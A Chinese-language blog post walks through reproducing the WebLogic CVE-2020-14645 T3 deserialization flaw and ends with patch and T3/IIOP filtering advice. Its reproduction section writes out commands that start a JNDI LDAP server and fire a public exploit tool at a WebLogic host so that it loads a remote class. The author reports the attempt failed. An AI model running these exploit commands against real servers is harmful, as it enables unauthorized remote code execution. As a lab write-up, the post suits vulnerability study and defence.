1. 程式人生 > 實用技巧 >CVE-2020-14645 Weblogic遠端程式碼執行漏洞復現

CVE-2020-14645 Weblogic遠端程式碼執行漏洞復現

CVE-2020-14645 Weblogic遠端程式碼執行漏洞復現

漏洞介紹

今日,Oracle官方釋出WebLogic安全更新,其中修復了一個CVSS評分為9.8的嚴重漏洞(CVE-2020-14645),該漏洞通過T3協議進行利用,攻擊者可以實現遠端程式碼執行,進而控制伺服器。由於漏洞利用複雜度低,風險高,建議儘快修復。

WebLogic是美國Oracle公司出品的一個application server,是一個基於JAVAEE架構的中介軟體,WebLogic是用於開發、整合、部署和管理大型分散式Web應用、網路應用和資料庫應用的Java應用伺服器。Oracle WebLogic Server存在遠端程式碼執行漏洞。

攻擊者可利用該漏洞實現遠端程式碼執行。該反序列化的gadget存在與coherence包中。編號CVE-2020-14645。

構造chain類似於common-collection的chain,可以照葫蘆畫瓢。

mvn 好像不能下載coherence包,很奇怪,直接下jar包就行。

反序列化的物件,通過t3傳送給weblogic即可。所以,這個只是生成payload的工具。

影響範圍

  • Oracle Oracle WebLogic Server 10.3.6.0.0
  • Oracle WebLogic Server 12.2.1.4.0
  • Oracle WebLogic Server 12.2.1.3.0
  • Oracle WebLogic Server 12.1.3.0.0
  • Oracle WebLogic Server 14.1.1.0.0

環境搭建

WebLogic 12.2.1.4官方下載連結:

https://download.oracle.com/otn/nt/middleware/12c/122140/fmw_12.2.1.4.0_wls_lite_Disk1_1of1.zip

下載JDK 6u211/7u201/8u191任意版本並配置環境變數

JDK8u191
下載地址:https://pan.baidu.com/s/1cCtSolwsZCmL7xN6orTjTw
提取碼:nmi1

用管理員許可權開啟CMD命令

java -jar fmw_12.2.1.4.0_wls_lite_generic.jar

全部點選下一步,勾選自主啟動配置嚮導選項

建立新域並勾選所有模板,點選下一步至安裝完成

安裝成功後,跳到base_domain目錄下

C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain

執行startWebLogic.cmd

可訪問7001埠(http://192.168.1.111:7001/console/login/LoginForm.jsp),說明環境部署成功

漏洞復現

JNDI工具下載地址

https://github.com/welk1n/JNDI-Injection-Exploit

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C [command] -A [address]

使用JNDI工具搭建LDAP和HTTP服務,注意不能佔用8180/1099/1389三個埠,修改要執行的命令後回車,會同時啟動LDAP/RMI/HTTP三種服務,並且自動編譯好帶命令的class檔案

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 192.168.1.236

使用CVE-2020-14645漏洞驗證工具

https://github.com/DSO-Lab/Weblogic_CVE-2020-14645

java -jar CVE-2020-14645.jar LDAP_IP:LDAP_PORT/#Exploit http://192.168.1.111:7001

輸入JNDI工具搭建LDAP地址和埠

java -jar CVE-2020-14645.jar 192.168.1.236:1389/mcq0vt http://192.168.1.111:7001

輸入命令請求LDAP服務,執行自動編譯的class檔案,成功彈出計算器(失敗,無法彈出計算器)

PS:java版本<jdk 6u211/7u201/8u191,我用的是8u191,最後沒有復現成功,通過本地測試發現報錯如下:

​ 原因是在更高版本的JDK環境中trustURLCodebase變數為false,限制了遠端類的載入。

修復建議

1、官方修復方案

Oracle已經發布補丁修復了上述漏洞,請使用者參考官方通告及時下載受影響產品更新補丁,並參照補丁安裝包中的readme檔案進行安裝更新,以保證長期有效的防護。

注:Oracle官方補丁需要使用者持有正版軟體的許可賬號,使用該賬號登陸https://support.oracle.com後,可以下載最新補丁。

2、臨時解決方案

使用者可通過控制T3協議的訪問來臨時阻斷針對這些漏洞的攻擊。操作方法如下:

  1. 進入WebLogic控制檯,在base_domain的配置頁面中,進入“安全”選項卡頁面,點選“篩選器”,進入連線篩選器配置。
  2. 在連線篩選器中輸入:weblogic.security.net.ConnectionFilterImpl,參考以下寫法,在連線篩選器規則中配置符合企業實際情況的規則:
127.0.0.1 * * allow t3 t3s
本機IP * * allow t3 t3s
允許訪問的IP  * * allow t3 t3s  
* * * deny t3 t3s
  1. 儲存後若規則未生效,建議重新啟動WebLogic服務(重啟WebLogic服務會導致業務中斷,建議相關人員評估風險後,再進行操作)。

3、禁用IIOP協議。

可通過關閉 IIOP 協議對此漏洞進行緩解。操作如下:

  1. 在 Weblogic 控制檯中,選擇“服務”->”AdminServer”->”協議”,取消“啟用 IIOP”的勾選。

  2. 並重啟 Weblogic 專案,使配置生效。